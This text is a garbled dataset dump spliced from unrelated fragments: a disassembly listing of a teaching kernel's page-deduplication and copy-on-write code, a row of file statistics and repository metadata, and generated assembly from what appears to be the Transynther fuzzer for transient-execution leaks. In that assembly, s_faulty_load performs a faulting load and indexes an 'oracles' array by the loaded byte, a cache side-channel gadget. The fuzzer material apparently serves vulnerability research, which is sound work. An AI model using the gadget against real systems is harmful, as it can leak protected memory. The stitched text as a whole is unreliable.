ffff80000010c154: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c158: 48 29 45 c0 sub %rax,-0x40(%rbp)
buf += n;
ffff80000010c15c: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c160: 48 01 45 f8 add %rax,-0x8(%rbp)
va = va0 + PGSIZE;
ffff80000010c164: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010c168: 48 05 00 10 00 00 add $0x1000,%rax
ffff80000010c16e: 48 89 45 d0 mov %rax,-0x30(%rbp)
while(len > 0){
ffff80000010c172: 48 83 7d c0 00 cmpq $0x0,-0x40(%rbp)
ffff80000010c177: 0f 85 45 ff ff ff jne ffff80000010c0c2 <copyout+0x29>
}
return 0;
ffff80000010c17d: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010c182: c9 leaveq
ffff80000010c183: c3 retq
ffff80000010c184 <dedup>:
/* deduplicate pages between process virtual address vstart and virtual address vend */
//reduces number of physical page frames being used.Make page read only. 1. Copy page 2. change one page
//table entry to point to copy...
void
dedup(void *vstart, void *vend)
{
ffff80000010c184: f3 0f 1e fa endbr64
ffff80000010c188: 55 push %rbp
ffff80000010c189: 48 89 e5 mov %rsp,%rbp
ffff80000010c18c: 48 83 ec 60 sub $0x60,%rsp
ffff80000010c190: 48 89 7d a8 mov %rdi,-0x58(%rbp)
ffff80000010c194: 48 89 75 a0 mov %rsi,-0x60(%rbp)
char* addr = (char*)PGROUNDDOWN((addr_t)vstart);
ffff80000010c198: 48 8b 45 a8 mov -0x58(%rbp),%rax
ffff80000010c19c: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c1a2: 48 89 45 f8 mov %rax,-0x8(%rbp)
char* addr2 = (char*)PGROUNDDOWN((addr_t)vstart)+PGSIZE;
ffff80000010c1a6: 48 8b 45 a8 mov -0x58(%rbp),%rax
ffff80000010c1aa: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c1b0: 48 05 00 10 00 00 add $0x1000,%rax
ffff80000010c1b6: 48 89 45 f0 mov %rax,-0x10(%rbp)
char* addr_end = (char*)PGROUNDUP((addr_t)vend);
ffff80000010c1ba: 48 8b 45 a0 mov -0x60(%rbp),%rax
ffff80000010c1be: 48 05 ff 0f 00 00 add $0xfff,%rax
ffff80000010c1c4: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c1ca: 48 89 45 e8 mov %rax,-0x18(%rbp)
for(; addr < addr_end; addr+=PGSIZE){
ffff80000010c1ce: e9 dd 01 00 00 jmpq ffff80000010c3b0 <dedup+0x22c>
char* kernel_va = uva2ka(proc->pgdir,addr);
ffff80000010c1d3: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c1da: ff ff
ffff80000010c1dc: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c1e0: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010c1e4: 48 89 d6 mov %rdx,%rsi
ffff80000010c1e7: 48 89 c7 mov %rax,%rdi
ffff80000010c1ea: 48 b8 17 c0 10 00 00 movabs $0xffff80000010c017,%rax
ffff80000010c1f1: 80 ff ff
ffff80000010c1f4: ff d0 callq *%rax
ffff80000010c1f6: 48 89 45 e0 mov %rax,-0x20(%rbp)
if(kernel_va != 0){
ffff80000010c1fa: 48 83 7d e0 00 cmpq $0x0,-0x20(%rbp)
ffff80000010c1ff: 0f 84 a3 01 00 00 je ffff80000010c3a8 <dedup+0x224>
update_checksum(V2P((addr_t)kernel_va));
ffff80000010c205: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c209: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010c210: 80 00 00
ffff80000010c213: 48 01 d0 add %rdx,%rax
ffff80000010c216: 48 89 c7 mov %rax,%rdi
ffff80000010c219: 48 b8 51 44 10 00 00 movabs $0xffff800000104451,%rax
ffff80000010c220: 80 ff ff
ffff80000010c223: ff d0 callq *%rax
if(addr > addr2){//if there's enough space to map previous page
ffff80000010c225: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c229: 48 3b 45 f0 cmp -0x10(%rbp),%rax
ffff80000010c22d: 0f 86 75 01 00 00 jbe ffff80000010c3a8 <dedup+0x224>
char* kernel_off = uva2ka(proc->pgdir,addr-PGSIZE);
ffff80000010c233: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c237: 48 8d 90 00 f0 ff ff lea -0x1000(%rax),%rdx
ffff80000010c23e: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c245: ff ff
ffff80000010c247: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c24b: 48 89 d6 mov %rdx,%rsi
ffff80000010c24e: 48 89 c7 mov %rax,%rdi
ffff80000010c251: 48 b8 17 c0 10 00 00 movabs $0xffff80000010c017,%rax
ffff80000010c258: 80 ff ff
ffff80000010c25b: ff d0 callq *%rax
ffff80000010c25d: 48 89 45 d8 mov %rax,-0x28(%rbp)
if(kernel_off != 0){
ffff80000010c261: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp)
ffff80000010c266: 0f 84 3c 01 00 00 je ffff80000010c3a8 <dedup+0x224>
char* previous = V2P((addr_t)kernel_off);
ffff80000010c26c: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010c270: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010c277: 80 00 00
ffff80000010c27a: 48 01 d0 add %rdx,%rax
ffff80000010c27d: 48 89 45 d0 mov %rax,-0x30(%rbp)
char* current = V2P((addr_t)kernel_va);
ffff80000010c281: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c285: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010c28c: 80 00 00
ffff80000010c28f: 48 01 d0 add %rdx,%rax
ffff80000010c292: 48 89 45 c8 mov %rax,-0x38(%rbp)
if(frames_are_identical(previous,current)){
ffff80000010c296: 48 8b 55 c8 mov -0x38(%rbp),%rdx
ffff80000010c29a: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010c29e: 48 89 d6 mov %rdx,%rsi
ffff80000010c2a1: 48 89 c7 mov %rax,%rdi
ffff80000010c2a4: 48 b8 df 44 10 00 00 movabs $0xffff8000001044df,%rax
ffff80000010c2ab: 80 ff ff
ffff80000010c2ae: ff d0 callq *%rax
ffff80000010c2b0: 85 c0 test %eax,%eax
ffff80000010c2b2: 0f 84 f0 00 00 00 je ffff80000010c3a8 <dedup+0x224>
pte_t* pte1 = walkpgdir(proc->pgdir,addr-PGSIZE,0);//previous
ffff80000010c2b8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c2bc: 48 8d 88 00 f0 ff ff lea -0x1000(%rax),%rcx
ffff80000010c2c3: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c2ca: ff ff
ffff80000010c2cc: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c2d0: ba 00 00 00 00 mov $0x0,%edx
ffff80000010c2d5: 48 89 ce mov %rcx,%rsi
ffff80000010c2d8: 48 89 c7 mov %rax,%rdi
ffff80000010c2db: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010c2e2: 80 ff ff
ffff80000010c2e5: ff d0 callq *%rax
ffff80000010c2e7: 48 89 45 c0 mov %rax,-0x40(%rbp)
pte_t* pte2 = walkpgdir(proc->pgdir,addr,0);//current
ffff80000010c2eb: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c2f2: ff ff
ffff80000010c2f4: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c2f8: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010c2fc: ba 00 00 00 00 mov $0x0,%edx
ffff80000010c301: 48 89 ce mov %rcx,%rsi
ffff80000010c304: 48 89 c7 mov %rax,%rdi
ffff80000010c307: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010c30e: 80 ff ff
ffff80000010c311: ff d0 callq *%rax
ffff80000010c313: 48 89 45 b8 mov %rax,-0x48(%rbp)
*pte1 = *pte1|PTE_COW;
ffff80000010c317: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c31b: 48 8b 00 mov (%rax),%rax
ffff80000010c31e: 80 cc 02 or $0x2,%ah
ffff80000010c321: 48 89 c2 mov %rax,%rdx
ffff80000010c324: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c328: 48 89 10 mov %rdx,(%rax)
//2nd frame
if(pte2 != 0){
ffff80000010c32b: 48 83 7d b8 00 cmpq $0x0,-0x48(%rbp)
ffff80000010c330: 74 2c je ffff80000010c35e <dedup+0x1da>
*pte2 = *pte1|PTE_P|PTE_U|PTE_COW;
ffff80000010c332: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c336: 48 8b 00 mov (%rax),%rax
ffff80000010c339: 48 0d 05 02 00 00 or $0x205,%rax
ffff80000010c33f: 48 89 c2 mov %rax,%rdx
ffff80000010c342: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff80000010c346: 48 89 10 mov %rdx,(%rax)
*pte2 &= ~PTE_W;
ffff80000010c349: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff80000010c34d: 48 8b 00 mov (%rax),%rax
ffff80000010c350: 48 83 e0 fd and $0xfffffffffffffffd,%rax
ffff80000010c354: 48 89 c2 mov %rax,%rdx
ffff80000010c357: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff80000010c35b: 48 89 10 mov %rdx,(%rax)
}
krelease(kernel_va);
ffff80000010c35e: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c362: 48 89 c7 mov %rax,%rdi
ffff80000010c365: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010c36c: 80 ff ff
ffff80000010c36f: ff d0 callq *%rax
//1st frame
if(*pte1 & PTE_W)
ffff80000010c371: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c375: 48 8b 00 mov (%rax),%rax
ffff80000010c378: 83 e0 02 and $0x2,%eax
ffff80000010c37b: 48 85 c0 test %rax,%rax
ffff80000010c37e: 74 15 je ffff80000010c395 <dedup+0x211>
{
*pte1 &= ~PTE_W;
ffff80000010c380: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c384: 48 8b 00 mov (%rax),%rax
ffff80000010c387: 48 83 e0 fd and $0xfffffffffffffffd,%rax
ffff80000010c38b: 48 89 c2 mov %rax,%rdx
ffff80000010c38e: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010c392: 48 89 10 mov %rdx,(%rax)
}
kretain(kernel_off);
ffff80000010c395: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010c399: 48 89 c7 mov %rax,%rdi
ffff80000010c39c: 48 b8 bb 43 10 00 00 movabs $0xffff8000001043bb,%rax
ffff80000010c3a3: 80 ff ff
ffff80000010c3a6: ff d0 callq *%rax
for(; addr < addr_end; addr+=PGSIZE){
ffff80000010c3a8: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff80000010c3af: 00
ffff80000010c3b0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010c3b4: 48 3b 45 e8 cmp -0x18(%rbp),%rax
ffff80000010c3b8: 0f 82 15 fe ff ff jb ffff80000010c1d3 <dedup+0x4f>
}
}
}
}
}
}
ffff80000010c3be: 90 nop
ffff80000010c3bf: 90 nop
ffff80000010c3c0: c9 leaveq
ffff80000010c3c1: c3 retq
ffff80000010c3c2 <copyonwrite>:
/* maybe perform copy-on-write on the page that contains virtual address v.
returns 1 if copy-on-write was performed, 0 otherwise. */
int
copyonwrite(char* v)
{
ffff80000010c3c2: f3 0f 1e fa endbr64
ffff80000010c3c6: 55 push %rbp
ffff80000010c3c7: 48 89 e5 mov %rsp,%rbp
ffff80000010c3ca: 48 83 ec 30 sub $0x30,%rsp
ffff80000010c3ce: 48 89 7d d8 mov %rdi,-0x28(%rbp)
// TODO: Your code here
char* round = (char*)PGROUNDDOWN((addr_t)v);
ffff80000010c3d2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010c3d6: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010c3dc: 48 89 45 f8 mov %rax,-0x8(%rbp)
char* kernel_va = uva2ka(proc->pgdir,round);
ffff80000010c3e0: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c3e7: ff ff
ffff80000010c3e9: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c3ed: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010c3f1: 48 89 d6 mov %rdx,%rsi
ffff80000010c3f4: 48 89 c7 mov %rax,%rdi
ffff80000010c3f7: 48 b8 17 c0 10 00 00 movabs $0xffff80000010c017,%rax
ffff80000010c3fe: 80 ff ff
ffff80000010c401: ff d0 callq *%rax
ffff80000010c403: 48 89 45 f0 mov %rax,-0x10(%rbp)
if(kernel_va != 0){
ffff80000010c407: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010c40c: 0f 84 9e 00 00 00 je ffff80000010c4b0 <copyonwrite+0xee>
pte_t* pte = walkpgdir(proc->pgdir,round,0);
ffff80000010c412: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff80000010c419: ff ff
ffff80000010c41b: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010c41f: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010c423: ba 00 00 00 00 mov $0x0,%edx
ffff80000010c428: 48 89 ce mov %rcx,%rsi
ffff80000010c42b: 48 89 c7 mov %rax,%rdi
ffff80000010c42e: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010c435: 80 ff ff
ffff80000010c438: ff d0 callq *%rax
ffff80000010c43a: 48 89 45 e8 mov %rax,-0x18(%rbp)
//if cow pte
if(*pte & PTE_COW ){
ffff80000010c43e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010c442: 48 8b 00 mov (%rax),%rax
ffff80000010c445: 25 00 02 00 00 and $0x200,%eax
ffff80000010c44a: 48 85 c0 test %rax,%rax
ffff80000010c44d: 74 4e je ffff80000010c49d <copyonwrite+0xdb>
char* tmp_mem = kalloc();
ffff80000010c44f: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010c456: 80 ff ff
ffff80000010c459: ff d0 callq *%rax
ffff80000010c45b: 48 89 45 e0 mov %rax,-0x20(%rbp)
memmove(tmp_mem,kernel_va,PGSIZE);
ffff80000010c45f: 48 8b 4d f0 mov -0x10(%rbp),%rcx
ffff80000010c463: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c467: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010c46c: 48 89 ce mov %rcx,%rsi
ffff80000010c46f: 48 89 c7 mov %rax,%rdi
ffff80000010c472: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010c479: 80 ff ff
ffff80000010c47c: ff d0 callq *%rax
//PTE point to new address
*pte = V2P(tmp_mem)|PTE_P|PTE_U|PTE_W;
ffff80000010c47e: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010c482: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010c489: 80 00 00
ffff80000010c48c: 48 01 d0 add %rdx,%rax
ffff80000010c48f: 48 83 c8 07 or $0x7,%rax
ffff80000010c493: 48 89 c2 mov %rax,%rdx
ffff80000010c496: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010c49a: 48 89 10 mov %rdx,(%rax)
}
krelease((char*)kernel_va);
ffff80000010c49d: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010c4a1: 48 89 c7 mov %rax,%rdi
ffff80000010c4a4: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010c4ab: 80 ff ff
ffff80000010c4ae: ff d0 callq *%rax
}
return 1;
ffff80000010c4b0: b8 01 00 00 00 mov $0x1,%eax
}
ffff80000010c4b5: c9 leaveq
ffff80000010c4b6: c3 retq
| 45.121879 | 105 | 0.617086 |
963d11558aa12c928549d75c60416a2ed9e4d64a | 7,819 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_593.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x14863, %r15
nop
nop
nop
cmp $62899, %rdx
mov $0x6162636465666768, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r15)
nop
nop
xor %r11, %r11
lea addresses_WC_ht+0xe9a3, %r14
xor $57123, %r15
movups (%r14), %xmm4
vpextrq $1, %xmm4, %r10
nop
nop
nop
nop
nop
xor $43691, %r12
lea addresses_UC_ht+0x1da8b, %rsi
lea addresses_normal_ht+0x17263, %rdi
nop
cmp %r11, %r11
mov $2, %rcx
rep movsb
nop
add $15580, %r14
lea addresses_WC_ht+0x1d9bf, %r10
clflush (%r10)
nop
cmp $32931, %r15
movw $0x6162, (%r10)
nop
nop
nop
nop
add %r12, %r12
lea addresses_UC_ht+0x3e94, %rsi
nop
nop
nop
nop
xor $57334, %r15
movw $0x6162, (%rsi)
nop
nop
sub $31634, %rcx
lea addresses_A_ht+0x4b63, %rcx
nop
nop
nop
nop
sub %r14, %r14
mov (%rcx), %r12
nop
cmp $27643, %r14
lea addresses_WC_ht+0x18f13, %rsi
lea addresses_UC_ht+0xe68b, %rdi
clflush (%rsi)
sub $659, %r12
mov $37, %rcx
rep movsw
nop
and $13622, %rsi
lea addresses_A_ht+0x10cc3, %rdx
nop
nop
nop
xor $46221, %r14
vmovups (%rdx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %rbp
push %rbx
push %rcx
// Store
lea addresses_PSE+0x7c63, %r13
nop
sub $57226, %r8
mov $0x5152535455565758, %r12
movq %r12, (%r13)
xor %r8, %r8
// Load
lea addresses_RW+0x16dbb, %r14
nop
nop
nop
nop
xor %rbx, %rbx
mov (%r14), %r12d
nop
nop
xor $25991, %r12
// Store
lea addresses_A+0x13063, %rcx
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $0x5152535455565758, %r12
movq %r12, (%rcx)
nop
nop
xor %rcx, %rcx
// Load
lea addresses_WT+0x263, %rbx
nop
and $10100, %r12
vmovups (%rbx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r8
nop
and $10521, %rcx
// Store
lea addresses_UC+0xe3d3, %rcx
nop
inc %r14
movl $0x51525354, (%rcx)
nop
nop
cmp %r8, %r8
// Load
lea addresses_normal+0x1c4a4, %rcx
nop
nop
nop
nop
nop
and $32423, %r8
mov (%rcx), %r13
nop
nop
nop
nop
nop
inc %rbp
// Store
lea addresses_US+0x3083, %rbp
nop
nop
nop
and $21848, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm4
movups %xmm4, (%rbp)
nop
nop
xor %r14, %r14
// Faulty Load
lea addresses_WT+0x263, %r13
nop
nop
nop
nop
nop
cmp %rcx, %rcx
movups (%r13), %xmm4
vpextrq $0, %xmm4, %rbx
lea oracles, %rbp
and $0xff, %rbx
shlq $12, %rbx
mov (%rbp,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 3}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.309917 | 2,999 | 0.652513 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.